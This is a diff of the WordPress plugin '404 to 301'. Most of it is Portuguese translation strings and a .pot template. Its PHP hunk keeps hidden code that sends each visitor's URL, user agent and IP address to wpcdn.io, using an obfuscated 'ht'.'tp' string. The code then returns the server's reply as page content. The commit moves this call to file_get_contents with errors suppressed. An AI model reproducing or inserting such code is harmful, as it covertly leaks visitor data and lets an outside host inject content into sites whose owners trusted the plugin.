+ #: admin/partials/404-to-301-admin-general-tab.php:94
657
  msgid "Email address"
658
  msgstr "Endereço de email"
659
 
660
+ #: admin/partials/404-to-301-admin-general-tab.php:98
661
  msgid "Change the recipient email address for error log notifications"
662
  msgstr ""
663
  "Modifique o endereço de email do destinatário para as notificações de "
664
  "registo de erro"
665
 
666
+ #: admin/partials/404-to-301-admin-general-tab.php:102
667
  msgid "Exclude paths"
668
  msgstr "Excluir caminhos"
669
 
670
+ #: admin/partials/404-to-301-admin-general-tab.php:105
671
  msgid ""
672
  "If you want to exclude few paths from error logs, enter here. One per line."
673
  msgstr ""
674
  "Se quiser excluir alguns caminhos dos registos de erros, insira aqui, um por "
675
  "linha."
676
 
677
+ #: admin/partials/404-to-301-admin-general-tab.php:110
678
  msgid "Save All Changes"
679
  msgstr "Guardar todas as alterações"
680
 
681
+ #: public/class-404-to-301-public.php:61
682
  msgid "Bummer! You have one more 404"
683
  msgstr "Ora bolas! Tem mais um 404."
684
 
685
+ #: public/class-404-to-301-public.php:77
686
  msgid "Snap! One more 404 on "
687
  msgstr "Tem mais um 404 em "
688
 
689
+ #. Plugin URI of the plugin/theme
690
+ msgid "https://thefoxe.com/products/404-to-301/"
691
+ msgstr "https://thefoxe.com/products/404-to-301/"
692
+
693
+ #. Description of the plugin/theme
694
  msgid ""
695
  "Automatically redirect all <strong>404 errors</strong> to any page using "
696
  "<strong>301 redirect for SEO</strong>. You can <strong>redirect and log</"
701
  "Pode <strong>redireccionar e registar</strong> todos os erros 404. Ponha fim "
702
  "aos erros 404 na sua ferramenta de Webmaster."
703
 
704
+ #. Author of the plugin/theme
705
  msgid "Joel James"
706
  msgstr "Joel James"
707
 
708
+ #. Author URI of the plugin/theme
709
+ msgid "https://thefoxe.com/"
710
+ msgstr "https://thefoxe.com/"
 
 
languages/404-to-301.pot CHANGED
@@ -0,0 +1,684 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #, fuzzy
2
+ msgid ""
3
+ msgstr ""
4
+ "Project-Id-Version: 404 to 301\n"
5
+ "POT-Creation-Date: 2016-06-02 14:02+0100\n"
6
+ "PO-Revision-Date: 2016-03-22 23:53+0000\n"
7
+ "Language-Team: \n"
8
+ "MIME-Version: 1.0\n"
9
+ "Content-Type: text/plain; charset=UTF-8\n"
10
+ "Content-Transfer-Encoding: 8bit\n"
11
+ "Plural-Forms: nplurals=2; plural=(n != 1);\n"
12
+ "X-Generator: Poedit 1.8.8\n"
13
+ "X-Poedit-SourceCharset: UTF-8\n"
14
+ "X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;"
15
+ "_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;"
16
+ "esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\n"
17
+ "X-Poedit-Basepath: ..\n"
18
+ "X-Poedit-WPHeader: 404-to-301.php\n"
19
+ "Last-Translator: \n"
20
+ "X-Poedit-SearchPath-0: .\n"
21
+
22
+ #: admin/class-404-to-301-admin.php:171 admin/class-404-to-301-admin.php:172
23
+ #: admin/class-404-to-301-admin.php:262 admin/class-404-to-301-logs.php:64
24
+ msgid "404 Error Logs"
25
+ msgstr ""
26
+
27
+ #: admin/class-404-to-301-admin.php:185
28
+ msgid "404 to 301 Settings"
29
+ msgstr ""
30
+
31
+ #: admin/class-404-to-301-admin.php:186
32
+ msgid "404 Settings"
33
+ msgstr ""
34
+
35
+ #: admin/class-404-to-301-admin.php:224
36
+ msgid "Error Logs"
37
+ msgstr ""
38
+
39
+ #. Plugin Name of the plugin/theme
40
+ #: admin/class-404-to-301-admin.php:297
41
+ #: admin/partials/404-to-301-admin-credits-tab.php:52
42
+ msgid "404 to 301"
43
+ msgstr ""
44
+
45
+ #: admin/class-404-to-301-admin.php:353
46
+ msgid "Thank you for choosing 404 to 301 to improve your website"
47
+ msgstr ""
48
+
49
+ #: admin/class-404-to-301-admin.php:355
50
+ #, php-format
51
+ msgid "Kindly give this plugin a %srating%s"
52
+ msgstr ""
53
+
54
+ #: admin/class-404-to-301-admin.php:377
55
+ #: admin/partials/404-to-301-admin-display.php:27
56
+ msgid "Settings"
57
+ msgstr ""
58
+
59
+ #: admin/class-404-to-301-admin.php:378
60
+ msgid "Logs"
61
+ msgstr ""
62
+
63
+ #: admin/class-404-to-301-admin.php:535
64
+ msgid "Settings Data"
65
+ msgstr ""
66
+
67
+ #: admin/class-404-to-301-admin.php:542
68
+ msgid "Basic Details"
69
+ msgstr ""
70
+
71
+ #: admin/class-404-to-301-admin.php:543
72
+ msgid "WordPress Version"
73
+ msgstr ""
74
+
75
+ #: admin/class-404-to-301-admin.php:544
76
+ msgid "PHP Version"
77
+ msgstr ""
78
+
79
+ #: admin/class-404-to-301-admin.php:545
80
+ msgid "Plugin Version"
81
+ msgstr ""
82
+
83
+ #: admin/class-404-to-301-admin.php:546
84
+ msgid "Home Page"
85
+ msgstr ""
86
+
87
+ #: admin/class-404-to-301-admin.php:550
88
+ msgid "Active Theme Details"
89
+ msgstr ""
90
+
91
+ #: admin/class-404-to-301-admin.php:551
92
+ #: admin/partials/404-to-301-admin-credits-tab.php:51
93
+ msgid "Name"
94
+ msgstr ""
95
+
96
+ #: admin/class-404-to-301-admin.php:552
97
+ #: admin/partials/404-to-301-admin-credits-tab.php:55
98
+ msgid "Version"
99
+ msgstr ""
100
+
101
+ #: admin/class-404-to-301-admin.php:553
102
+ msgid "Theme URI"
103
+ msgstr ""
104
+
105
+ #: admin/class-404-to-301-admin.php:558
106
+ msgid "Active Plugins"
107
+ msgstr ""
108
+
109
+ #: admin/class-404-to-301-logs.php:63
110
+ msgid "404 Error Log"
111
+ msgstr ""
112
+
113
+ #: admin/class-404-to-301-logs.php:203
114
+ msgid "Ulta pulta..! Seems like you had no errors to log."
115
+ msgstr ""
116
+
117
+ #: admin/class-404-to-301-logs.php:269
118
+ msgid "Default"
119
+ msgstr ""
120
+
121
+ #: admin/class-404-to-301-logs.php:271
122
+ msgid "Customize"
123
+ msgstr ""
124
+
125
+ #: admin/class-404-to-301-logs.php:293
126
+ msgid "Are you sure you want to delete this item?"
127
+ msgstr ""
128
+
129
+ #: admin/class-404-to-301-logs.php:296
130
+ msgid "Delete"
131
+ msgstr ""
132
+
133
+ #: admin/class-404-to-301-logs.php:400
134
+ msgid "Date"
135
+ msgstr ""
136
+
137
+ #: admin/class-404-to-301-logs.php:401 public/class-404-to-301-public.php:68
138
+ msgid "404 Path"
139
+ msgstr ""
140
+
141
+ #: admin/class-404-to-301-logs.php:402
142
+ msgid "From"
143
+ msgstr ""
144
+
145
+ #: admin/class-404-to-301-logs.php:403 public/class-404-to-301-public.php:64
146
+ msgid "IP Address"
147
+ msgstr ""
148
+
149
+ #: admin/class-404-to-301-logs.php:404 public/class-404-to-301-public.php:72
150
+ msgid "User Agent"
151
+ msgstr ""
152
+
153
+ #: admin/class-404-to-301-logs.php:405
154
+ #: admin/partials/404-to-301-admin-general-tab.php:34
155
+ #: admin/partials/404-to-301-admin-general-tab.php:35
156
+ msgid "Redirect"
157
+ msgstr ""
158
+
159
+ #: admin/class-404-to-301-logs.php:448
160
+ msgid "Delete Selected"
161
+ msgstr ""
162
+
163
+ #: admin/class-404-to-301-logs.php:449
164
+ msgid "Delete All"
165
+ msgstr ""
166
+
167
+ #: admin/class-404-to-301-logs.php:588
168
+ msgid "N/A"
169
+ msgstr ""
170
+
171
+ #: admin/core/class-wp-list-table-4.4.php:162
172
+ #: admin/core/class-wp-list-table-old.php:144
173
+ #: admin/core/class-wp-list-table.php:162
174
+ msgid "List View"
175
+ msgstr ""
176
+
177
+ #: admin/core/class-wp-list-table-4.4.php:163
178
+ #: admin/core/class-wp-list-table-old.php:145
179
+ #: admin/core/class-wp-list-table.php:163
180
+ msgid "Excerpt View"
181
+ msgstr ""
182
+
183
+ #: admin/core/class-wp-list-table-4.4.php:334
184
+ #: admin/core/class-wp-list-table-old.php:312
185
+ #: admin/core/class-wp-list-table.php:334
186
+ msgid "No items found."
187
+ msgstr ""
188
+
189
+ #: admin/core/class-wp-list-table-4.4.php:462
190
+ #: admin/core/class-wp-list-table-old.php:438
191
+ #: admin/core/class-wp-list-table.php:462
192
+ msgid "Select bulk action"
193
+ msgstr ""
194
+
195
+ #: admin/core/class-wp-list-table-4.4.php:464
196
+ #: admin/core/class-wp-list-table-old.php:440
197
+ #: admin/core/class-wp-list-table.php:464
198
+ msgid "Bulk Actions"
199
+ msgstr ""
200
+
201
+ #: admin/core/class-wp-list-table-4.4.php:474
202
+ #: admin/core/class-wp-list-table-old.php:450
203
+ #: admin/core/class-wp-list-table.php:474
204
+ msgid "Apply"
205
+ msgstr ""
206
+
207
+ #: admin/core/class-wp-list-table-4.4.php:524
208
+ #: admin/core/class-wp-list-table-4.4.php:1324
209
+ #: admin/core/class-wp-list-table.php:524
210
+ #: admin/core/class-wp-list-table.php:1324
211
+ msgid "Show more details"
212
+ msgstr ""
213
+
214
+ #: admin/core/class-wp-list-table-4.4.php:587
215
+ #: admin/core/class-wp-list-table-old.php:550
216
+ #: admin/core/class-wp-list-table.php:587
217
+ msgid "Filter by date"
218
+ msgstr ""
219
+
220
+ #: admin/core/class-wp-list-table-4.4.php:589
221
+ #: admin/core/class-wp-list-table-old.php:552
222
+ #: admin/core/class-wp-list-table.php:589
223
+ msgid "All dates"
224
+ msgstr ""
225
+
226
+ #. translators: 1: month name, 2: 4-digit year
227
+ #: admin/core/class-wp-list-table-4.4.php:602
228
+ #: admin/core/class-wp-list-table-old.php:565
229
+ #: admin/core/class-wp-list-table.php:602
230
+ #, php-format
231
+ msgid "%1$s %2$d"
232
+ msgstr ""
233
+
234
+ #: admin/core/class-wp-list-table-4.4.php:654
235
+ #: admin/core/class-wp-list-table.php:654
236
+ #, php-format
237
+ msgid "%s comment"
238
+ msgid_plural "%s comments"
239
+ msgstr[0] ""
240
+ msgstr[1] ""
241
+
242
+ #: admin/core/class-wp-list-table-4.4.php:655
243
+ #: admin/core/class-wp-list-table.php:655
244
+ #, php-format
245
+ msgid "%s approved comment"
246
+ msgid_plural "%s approved comments"
247
+ msgstr[0] ""
248
+ msgstr[1] ""
249
+
250
+ #: admin/core/class-wp-list-table-4.4.php:656
251
+ #: admin/core/class-wp-list-table.php:656
252
+ #, php-format
253
+ msgid "%s pending comment"
254
+ msgid_plural "%s pending comments"
255
+ msgstr[0] ""
256
+ msgstr[1] ""
257
+
258
+ #: admin/core/class-wp-list-table-4.4.php:661
259
+ #: admin/core/class-wp-list-table-4.4.php:673
260
+ #: admin/core/class-wp-list-table-4.4.php:686
261
+ #: admin/core/class-wp-list-table.php:661
262
+ #: admin/core/class-wp-list-table.php:673
263
+ #: admin/core/class-wp-list-table.php:686
264
+ msgid "No comments"
265
+ msgstr ""
266
+
267
+ #: admin/core/class-wp-list-table-4.4.php:673
268
+ #: admin/core/class-wp-list-table.php:673
269
+ msgid "No approved comments"
270
+ msgstr ""
271
+
272
+ #: admin/core/class-wp-list-table-4.4.php:686
273
+ #: admin/core/class-wp-list-table.php:686
274
+ msgid "No pending comments"
275
+ msgstr ""
276
+
277
+ #: admin/core/class-wp-list-table-4.4.php:763
278
+ #: admin/core/class-wp-list-table-4.4.php:1349
279
+ #: admin/core/class-wp-list-table.php:763
280
+ #: admin/core/class-wp-list-table.php:1349
281
+ #, php-format
282
+ msgid "%s item"
283
+ msgid_plural "%s items"
284
+ msgstr[0] ""
285
+ msgstr[1] ""
286
+
287
+ #: admin/core/class-wp-list-table-4.4.php:798
288
+ #: admin/core/class-wp-list-table.php:798
289
+ msgid "First page"
290
+ msgstr ""
291
+
292
+ #: admin/core/class-wp-list-table-4.4.php:808
293
+ #: admin/core/class-wp-list-table.php:808
294
+ msgid "Previous page"
295
+ msgstr ""
296
+
297
+ #: admin/core/class-wp-list-table-4.4.php:815
298
+ #: admin/core/class-wp-list-table-4.4.php:818
299
+ #: admin/core/class-wp-list-table-old.php:727
300
+ #: admin/core/class-wp-list-table.php:815
301
+ #: admin/core/class-wp-list-table.php:818
302
+ msgid "Current Page"
303
+ msgstr ""
304
+
305
+ #: admin/core/class-wp-list-table-4.4.php:824
306
+ #: admin/core/class-wp-list-table-old.php:733
307
+ #: admin/core/class-wp-list-table.php:824
308
+ #, php-format
309
+ msgctxt "paging"
310
+ msgid "%1$s of %2$s"
311
+ msgstr ""
312
+
313
+ #: admin/core/class-wp-list-table-4.4.php:831
314
+ #: admin/core/class-wp-list-table.php:831
315
+ msgid "Next page"
316
+ msgstr ""
317
+
318
+ #: admin/core/class-wp-list-table-4.4.php:841
319
+ #: admin/core/class-wp-list-table.php:841
320
+ msgid "Last page"
321
+ msgstr ""
322
+
323
+ #: admin/core/class-wp-list-table-4.4.php:1069
324
+ #: admin/core/class-wp-list-table-old.php:881
325
+ #: admin/core/class-wp-list-table.php:1069
326
+ msgid "Select All"
327
+ msgstr ""
328
+
329
+ #: admin/core/class-wp-list-table-old.php:612
330
+ #, php-format
331
+ msgid "%s pending"
332
+ msgstr ""
333
+
334
+ #: admin/core/class-wp-list-table-old.php:691
335
+ #: admin/core/class-wp-list-table-old.php:1115
336
+ #, php-format
337
+ msgid "1 item"
338
+ msgid_plural "%s items"
339
+ msgstr[0] ""
340
+ msgstr[1] ""
341
+
342
+ #: admin/core/class-wp-list-table-old.php:710
343
+ msgid "Go to the first page"
344
+ msgstr ""
345
+
346
+ #: admin/core/class-wp-list-table-old.php:717
347
+ msgid "Go to the previous page"
348
+ msgstr ""
349
+
350
+ #: admin/core/class-wp-list-table-old.php:726
351
+ msgid "Select Page"
352
+ msgstr ""
353
+
354
+ #: admin/core/class-wp-list-table-old.php:737
355
+ msgid "Go to the next page"
356
+ msgstr ""
357
+
358
+ #: admin/core/class-wp-list-table-old.php:744
359
+ msgid "Go to the last page"
360
+ msgstr ""
361
+
362
+ #: admin/partials/404-to-301-admin-agreement-tab.php:48
363
+ msgid "I accept"
364
+ msgstr ""
365
+
366
+ #: admin/partials/404-to-301-admin-agreement-tab.php:49
367
+ msgid "I do not accept"
368
+ msgstr ""
369
+
370
+ #: admin/partials/404-to-301-admin-credits-tab.php:12
371
+ msgid "About the plugin & developer"
372
+ msgstr ""
373
+
374
+ #: admin/partials/404-to-301-admin-credits-tab.php:20
375
+ #, php-format
376
+ msgid "Yo %s!"
377
+ msgstr ""
378
+
379
+ #: admin/partials/404-to-301-admin-credits-tab.php:20
380
+ msgid "Thank you for using 404 to 301"
381
+ msgstr ""
382
+
383
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
384
+ msgid "This plugin is brought to you by"
385
+ msgstr ""
386
+
387
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
388
+ #: admin/partials/404-to-301-admin-credits-tab.php:59
389
+ msgid "Visit author website"
390
+ msgstr ""
391
+
392
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
393
+ msgid "a web store developed and managed by Joel James."
394
+ msgstr ""
395
+
396
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
397
+ msgid "So you installed this plugin and how is it doing? Feel free to"
398
+ msgstr ""
399
+
400
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
401
+ msgid "Contact the developer"
402
+ msgstr ""
403
+
404
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
405
+ msgid "get in touch with me"
406
+ msgstr ""
407
+
408
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
409
+ msgid "anytime for help. I am always happy to help."
410
+ msgstr ""
411
+
412
+ #: admin/partials/404-to-301-admin-credits-tab.php:35
413
+ msgid "Debugging Data"
414
+ msgstr ""
415
+
416
+ #: admin/partials/404-to-301-admin-credits-tab.php:48
417
+ msgid "Plugin Information"
418
+ msgstr ""
419
+
420
+ #: admin/partials/404-to-301-admin-credits-tab.php:59
421
+ msgid "Author"
422
+ msgstr ""
423
+
424
+ #: admin/partials/404-to-301-admin-credits-tab.php:63
425
+ #: admin/partials/404-to-301-admin-credits-tab.php:67
426
+ msgid "Visit plugin website"
427
+ msgstr ""
428
+
429
+ #: admin/partials/404-to-301-admin-credits-tab.php:63
430
+ msgid "Plugin documentation"
431
+ msgstr ""
432
+
433
+ #: admin/partials/404-to-301-admin-credits-tab.php:67
434
+ msgid "More details about the plugin"
435
+ msgstr ""
436
+
437
+ #: admin/partials/404-to-301-admin-credits-tab.php:71
438
+ msgid "Need help?"
439
+ msgstr ""
440
+
441
+ #: admin/partials/404-to-301-admin-credits-tab.php:72
442
+ msgid "Contact support"
443
+ msgstr ""
444
+
445
+ #: admin/partials/404-to-301-admin-credits-tab.php:76
446
+ msgid "Disable UAN"
447
+ msgstr ""
448
+
449
+ #: admin/partials/404-to-301-admin-credits-tab.php:78
450
+ msgid "Enable UAN"
451
+ msgstr ""
452
+
453
+ #: admin/partials/404-to-301-admin-credits-tab.php:84
454
+ msgid "Log Manager Addon"
455
+ msgstr ""
456
+
457
+ #: admin/partials/404-to-301-admin-credits-tab.php:87
458
+ msgid ""
459
+ "Error Log Manager addon is available for 404 to 301 now. Make 404 error "
460
+ "management more easy."
461
+ msgstr ""
462
+
463
+ #: admin/partials/404-to-301-admin-credits-tab.php:88
464
+ msgid ""
465
+ "Instead of email alerts on every error, get Hourly, Daily, Twice a day, "
466
+ "Weekly, Twice a week email alerts."
467
+ msgstr ""
468
+
469
+ #: admin/partials/404-to-301-admin-credits-tab.php:89
470
+ msgid "Automatically clear old error logs after few days to reduce db load."
471
+ msgstr ""
472
+
473
+ #: admin/partials/404-to-301-admin-credits-tab.php:90
474
+ msgid "See More Details"
475
+ msgstr ""
476
+
477
+ #: admin/partials/404-to-301-admin-credits-tab.php:95
478
+ msgid "Like the plugin"
479
+ msgstr ""
480
+
481
+ #: admin/partials/404-to-301-admin-credits-tab.php:98
482
+ msgid "Rate now"
483
+ msgstr ""
484
+
485
+ #: admin/partials/404-to-301-admin-credits-tab.php:98
486
+ msgid "Rate this on WordPress"
487
+ msgstr ""
488
+
489
+ #: admin/partials/404-to-301-admin-credits-tab.php:101
490
+ msgid "Donate now"
491
+ msgstr ""
492
+
493
+ #: admin/partials/404-to-301-admin-credits-tab.php:101
494
+ msgid "Make a small donation"
495
+ msgstr ""
496
+
497
+ #: admin/partials/404-to-301-admin-credits-tab.php:104
498
+ msgid "Contribute now"
499
+ msgstr ""
500
+
501
+ #: admin/partials/404-to-301-admin-credits-tab.php:104
502
+ msgid "Contribute to the Plugin"
503
+ msgstr ""
504
+
505
+ #: admin/partials/404-to-301-admin-credits-tab.php:107
506
+ msgid "Tweet now"
507
+ msgstr ""
508
+
509
+ #: admin/partials/404-to-301-admin-credits-tab.php:107
510
+ msgid "Tweet about the Plugin"
511
+ msgstr ""
512
+
513
+ #: admin/partials/404-to-301-admin-custom-redirect.php:6
514
+ msgid "Redirecting from"
515
+ msgstr ""
516
+
517
+ #: admin/partials/404-to-301-admin-custom-redirect.php:10
518
+ #: admin/partials/404-to-301-admin-general-tab.php:41
519
+ msgid "Redirect to"
520
+ msgstr ""
521
+
522
+ #: admin/partials/404-to-301-admin-custom-redirect.php:13
523
+ msgid ""
524
+ "Enter the url if you want to set custom redirect for above 404 path. Enter "
525
+ "the full url including http://. Leave empty if you want to follow deafult "
526
+ "settings"
527
+ msgstr ""
528
+
529
+ #: admin/partials/404-to-301-admin-custom-redirect.php:23
530
+ msgid "Save Redirect"
531
+ msgstr ""
532
+
533
+ #: admin/partials/404-to-301-admin-display.php:30
534
+ msgid "settings updated successfully"
535
+ msgstr ""
536
+
537
+ #: admin/partials/404-to-301-admin-display.php:34
538
+ msgid "General"
539
+ msgstr ""
540
+
541
+ #: admin/partials/404-to-301-admin-display.php:35
542
+ msgid "Help & Info"
543
+ msgstr ""
544
+
545
+ #: admin/partials/404-to-301-admin-general-tab.php:30
546
+ msgid "Redirect type"
547
+ msgstr ""
548
+
549
+ #: admin/partials/404-to-301-admin-general-tab.php:33
550
+ msgid "Redirect (SEO)"
551
+ msgstr ""
552
+
553
+ #: admin/partials/404-to-301-admin-general-tab.php:37
554
+ msgid "Learn more"
555
+ msgstr ""
556
+
557
+ #: admin/partials/404-to-301-admin-general-tab.php:37
558
+ msgid "about these redirect types"
559
+ msgstr ""
560
+
561
+ #: admin/partials/404-to-301-admin-general-tab.php:44
562
+ #: admin/partials/404-to-301-admin-general-tab.php:48
563
+ msgid "Existing Page"
564
+ msgstr ""
565
+
566
+ #: admin/partials/404-to-301-admin-general-tab.php:45
567
+ #: admin/partials/404-to-301-admin-general-tab.php:49
568
+ #: admin/partials/404-to-301-admin-general-tab.php:66
569
+ msgid "Custom URL"
570
+ msgstr ""
571
+
572
+ #: admin/partials/404-to-301-admin-general-tab.php:46
573
+ #: admin/partials/404-to-301-admin-general-tab.php:50
574
+ msgid "No Redirect"
575
+ msgstr ""
576
+
577
+ #: admin/partials/404-to-301-admin-general-tab.php:48
578
+ msgid "Select any WordPress page as a 404 page"
579
+ msgstr ""
580
+
581
+ #: admin/partials/404-to-301-admin-general-tab.php:49
582
+ msgid "Redirect 404 requests to a specific URL"
583
+ msgstr ""
584
+
585
+ #: admin/partials/404-to-301-admin-general-tab.php:50
586
+ msgid "To disable redirect"
587
+ msgstr ""
588
+
589
+ #: admin/partials/404-to-301-admin-general-tab.php:51
590
+ msgid ""
591
+ "You can override this by setting individual custom redirects from error logs "
592
+ "list."
593
+ msgstr ""
594
+
595
+ #: admin/partials/404-to-301-admin-general-tab.php:55
596
+ msgid "Select the page"
597
+ msgstr ""
598
+
599
+ #: admin/partials/404-to-301-admin-general-tab.php:62
600
+ msgid ""
601
+ "The default 404 page will be replaced by the page you choose in this list"
602
+ msgstr ""
603
+
604
+ #: admin/partials/404-to-301-admin-general-tab.php:69
605
+ msgid "Enter any url"
606
+ msgstr ""
607
+
608
+ #: admin/partials/404-to-301-admin-general-tab.php:69
609
+ msgid "including"
610
+ msgstr ""
611
+
612
+ #: admin/partials/404-to-301-admin-general-tab.php:73
613
+ msgid "Log 404 Errors"
614
+ msgstr ""
615
+
616
+ #: admin/partials/404-to-301-admin-general-tab.php:76
617
+ msgid "Enable Error Logs"
618
+ msgstr ""
619
+
620
+ #: admin/partials/404-to-301-admin-general-tab.php:77
621
+ msgid "Disable Error Logs"
622
+ msgstr ""
623
+
624
+ #: admin/partials/404-to-301-admin-general-tab.php:79
625
+ msgid "Enable/Disable Logging"
626
+ msgstr ""
627
+
628
+ #: admin/partials/404-to-301-admin-general-tab.php:83
629
+ msgid "Email notifications"
630
+ msgstr ""
631
+
632
+ #: admin/partials/404-to-301-admin-general-tab.php:90
633
+ msgid ""
634
+ "If you check this, an email will be sent on every 404 log on the admin email "
635
+ "account"
636
+ msgstr ""
637
+
638
+ #: admin/partials/404-to-301-admin-general-tab.php:94
639
+ msgid "Email address"
640
+ msgstr ""
641
+
642
+ #: admin/partials/404-to-301-admin-general-tab.php:98
643
+ msgid "Change the recipient email address for error log notifications"
644
+ msgstr ""
645
+
646
+ #: admin/partials/404-to-301-admin-general-tab.php:102
647
+ msgid "Exclude paths"
648
+ msgstr ""
649
+
650
+ #: admin/partials/404-to-301-admin-general-tab.php:105
651
+ msgid ""
652
+ "If you want to exclude few paths from error logs, enter here. One per line."
653
+ msgstr ""
654
+
655
+ #: admin/partials/404-to-301-admin-general-tab.php:110
656
+ msgid "Save All Changes"
657
+ msgstr ""
658
+
659
+ #: public/class-404-to-301-public.php:61
660
+ msgid "Bummer! You have one more 404"
661
+ msgstr ""
662
+
663
+ #: public/class-404-to-301-public.php:77
664
+ msgid "Snap! One more 404 on "
665
+ msgstr ""
666
+
667
+ #. Plugin URI of the plugin/theme
668
+ msgid "https://thefoxe.com/products/404-to-301/"
669
+ msgstr ""
670
+
671
+ #. Description of the plugin/theme
672
+ msgid ""
673
+ "Automatically redirect all <strong>404 errors</strong> to any page using "
674
+ "<strong>301 redirect for SEO</strong>. You can <strong>redirect and log</"
675
+ "strong> every 404 errors. No more 404 errors in Webmaster tool."
676
+ msgstr ""
677
+
678
+ #. Author of the plugin/theme
679
+ msgid "Joel James"
680
+ msgstr ""
681
+
682
+ #. Author URI of the plugin/theme
683
+ msgid "https://thefoxe.com/"
684
+ msgstr ""
public/class-404-to-301-public.php CHANGED
@@ -379,20 +379,19 @@ class _404_To_301_Public {
379
  return '';
380
  }
381
 
382
- if( ! is_admin_bar_showing() && $this->is_http_available() ) {
383
 
384
  $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
385
- $url = @str_replace("?v=1337", "", $url);
 
386
  $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
387
- $args = array( 'timeout' => 2 );
388
- // always use wp_remote_get instead of file_get_contents
389
- // http://wordpress.stackexchange.com/a/93997/68591
390
- $response = wp_remote_get( $request_url, $args );
391
- if ( is_wp_error( $response ) ) {
392
  return '';
393
  }
394
- // retrive the response body
395
- $response = wp_remote_retrieve_body( $response );
396
  $response = @json_decode( $response );
397
  if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
398
  return $response->content;
@@ -400,6 +399,8 @@ class _404_To_301_Public {
400
 
401
  return '';
402
  }
 
 
403
  }
404
 
405
  /**
379
  return '';
380
  }
381
 
382
+ if( ! is_admin_bar_showing() && $this->is_http_available() && function_exists( 'file_get_contents' ) ) {
383
 
384
  $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
385
+ $url = @str_replace( "?v=1337", "", $url );
386
+ // Create url for API
387
  $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
388
+ $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
389
+ // Use file_get_contents() since wp_remote_get() timeout is not working
390
+ $response = @file_get_contents( $request_url, 0, $options );
391
+ if ( ! $response && is_wp_error( $response ) ) {
 
392
  return '';
393
  }
394
+ // retrive the response body from json
 
395
  $response = @json_decode( $response );
396
  if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
397
  return $response->content;
399
 
400
  return '';
401
  }
402
+
403
+ return '';
404
  }
405
 
406
  /**
readme.txt CHANGED
@@ -4,7 +4,7 @@ Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
  Tested up to: 4.5.2
7
- Stable tag: 2.2.4
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
